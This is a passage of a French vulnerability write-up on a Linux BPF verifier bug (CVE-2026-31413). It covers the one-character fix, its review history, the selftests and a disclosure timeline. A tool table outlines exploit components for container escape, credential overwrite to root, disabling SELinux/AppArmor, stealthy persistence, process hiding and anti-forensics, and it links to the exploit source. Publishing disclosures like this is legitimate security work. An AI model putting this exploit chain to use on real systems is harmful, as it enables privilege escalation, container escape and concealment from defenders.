`CAP_BPF` n'est pas une capacité sûre. Un bug du vérificateur la convertit en lecture/écriture arbitraire du noyau. Les produits qui l'accordent aux pods de charge de travail devraient la traiter comme `CAP_SYS_ADMIN`.

---

## Le correctif

Un caractère :```diff
-    branch = push_stack(env, env->insn_idx + 1, env->insn_idx, false);
+    branch = push_stack(env, env->insn_idx, env->insn_idx, false);

Au lieu de pousser la branche vers insn_idx + 1 (en sautant l'instruction ALU), pousser vers insn_idx - l'instruction elle-même. Le chemin poussé ré-exécute l' opération ALU avec dst = 0 :

  • AND: 0 & K = 0 ✓
  • OR: 0 | K = K ✓

L'approche d'origine était astucieuse - sauter l'instruction et coder le résultat en dur, économisant une étape du vérificateur sur le chemin poussé. Mais cette optimisation ne fonctionne que lorsque le résultat de l'exécution de l'instruction avec dst = 0 est zéro. C'est vrai pour AND et faux pour OR. Le correctif abandonne l'optimisation : il suffit de ré-exécuter l' instruction et de laisser le vérificateur calculer la valeur correcte pour n'importe quel opcode.

Je suis passé par trois révisions du correctif :

  • v1: Ajout d'un paramètre opcode à maybe_fork_scalars() et définition de dst = K pour OR, dst = 0 pour AND sur le chemin poussé. Fonctionnait, mais ajoutait de la complexité.
  • v2: Eduard Zingerman a suggéré l'approche par ré-exécution - pousser vers insn_idx au lieu de insn_idx + 1. Plus simple, indépendant de l'opcode, élimine toute la classe de bugs de type saut-vs-exécution.
  • v3: Style de commentaire sur une seule ligne dans les selftests, selon la revue d'Alexei Starovoitov. Même correctif.

Fusionné en tant que c845894ebd6f le 22 mars par Alexei Starovoitov. Selftests dans 0ad1734cc559. Revu par Eduard Zingerman, approuvé par Amery Hung.

Les selftests couvrent trois cas :

  1. or_scalar_fork_rejects_oob - ARSH 63 + OR 8, value_size=8, accès à l'offset 8 est hors limites → doit être rejeté
  2. and_scalar_fork_still_works - test de régression, le chemin AND accepte toujours
  3. or_scalar_fork_allows_inbounds - OR 4, value_size=8, l'offset 4 est dans les limites → doit être accepté

Linus a fusionné d5273fd3ca0b (« Merge tag 'bpf-fixes' ») avec la note : « Correction du fork scalaire non fiable pour les instructions OR (Daniel Wade) ».


Chronologie


Ressources

  • Commit de correctif : c845894ebd6f ("bpf: Fix unsound scalar forking in maybe_fork_scalars() for BPF_OR")
  • Selftests : 0ad1734cc559 ("selftests/bpf: Add tests for maybe_fork_scalars() OR vs AND handling")
  • Commit d'introduction : bffacdb80b93 ("bpf: Recognize special arithmetic shift in the verifier")
  • Série de patches : lore.kernel.org
  • Source de l'exploit + patches : github.com/Rat5ak/CVE-2026-31413-BPF-Container-Escape

Avertissement : Ce code d'exploit est publié à des fins éducatives et de recherche défensive après divulgation responsable et fusion du correctif. Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou n'avez pas d'autorisation explicite de tester. L'auteur n'est pas responsable d'une mauvaise utilisation.

CVE-2026-31413 - Corrigé dans Linux 7.0-rc5. Versions affectées : 6.12.75+ (backport stable) jusqu'à 7.0-rc4.

Daniel Wade - GitHub · Twitter/X · Bluesky · Mastodon · Medium · nadsec.online

Télécharger l’outil
TierFileCapability
1exploit.c / exploit_gke.cÉvasion de conteneur - détournement de vtable + écrasement de modprobe_path (l'exploit principal décrit ci-dessus)
v2exploit_gke_v2.cÉcrasement de creds data-only - pas de détournement de vtable, pas de modprobe_path, pas d'interaction avec le système de fichiers. Détecte automatiquement la disposition de task_struct. Fenêtre de corruption de mappage nulle. L'exploit recommandé.
2tier2_cred_overwrite.cÉcriture directe de creds - parcourir la chaîne task_struct, trouver la tâche courante, mettre à zéro uid/gid/caps dans struct cred pour un root instantané
3tier3_syscall_hook.cHooking de la table des appels système - parcourir les tables de pages pour rendre la table des appels système inscriptible, échanger un gestionnaire, l'appeler depuis l'espace utilisateur, restaurer
4tier4_security_disable.cContournement des sous-systèmes de sécurité - désactiver SELinux, AppArmor, SMEP/SMAP/KPTI, dmesg_restrict, kptr_restrict ; vérifier via /proc
5tier5_cross_container.cVol de credentials entre conteneurs - énumérer les structures nsproxy, trouver le task_struct d'un PID cible dans un autre namespace, modifier ses creds
6tier6_persistence.cPersistance déclenchée par le noyau - écraser modprobe_path et core_pattern pour exécuter des charges utiles de l'attaquant lors d'erreurs de format binaire et de plantages
7tier7_hardware.cIntrospection au niveau matériel - dumper l'IDT, lire/décoder CR0/CR4, parcourir les tables de pages avec la matrice de permissions complète, récupérer la base KASLR
8tier8_dkom_cloak.cCloaking de processus DKOM - forker un enfant, trouver son task_struct, le retirer de la liste des tâches du noyau (invisible pour ps/itérateurs de tâches), relinker
9tier9_code_inject.cInjection de code noyau à chaud - patcher la PMD .text pour la rendre inscriptible, écraser le prologue de sys_getuid avec un shellcode (mov rax, 0x1337; ret), l'appeler depuis l'espace utilisateur, restaurer
10tier10_anti_forensics.cAnti-forensique - dumper les internes du ring buffer printk, altérer les variables forensiques (ftrace, audit, dmesg_restrict, kptr_restrict), lecture/écriture du texte du buffer de log du noyau
DateÉvénement
2026-01-14bffacdb80b93 introduit maybe_fork_scalars() dans 7.0-rc1
2026-03-04Bug rétroporté vers la branche stable 6.12.y sous dea9989a3f
2026-03-11Je trouve le bug lors de l'audit du vérificateur
2026-03-12Lecture/écriture hors limites confirmée, exploit fonctionnel
2026-03-13PoC d'évasion de conteneur terminé, vidéo enregistrée
2026-03-14Correctif v3 envoyé à [email protected]
2026-03-22Correctif fusionné par Alexei Starovoitov dans bpf/bpf.git
2026-04-06Linus fusionne le tag bpf-fixes dans mainline
2026-04-12CVE-2026-31413 assignée par Greg Kroah-Hartman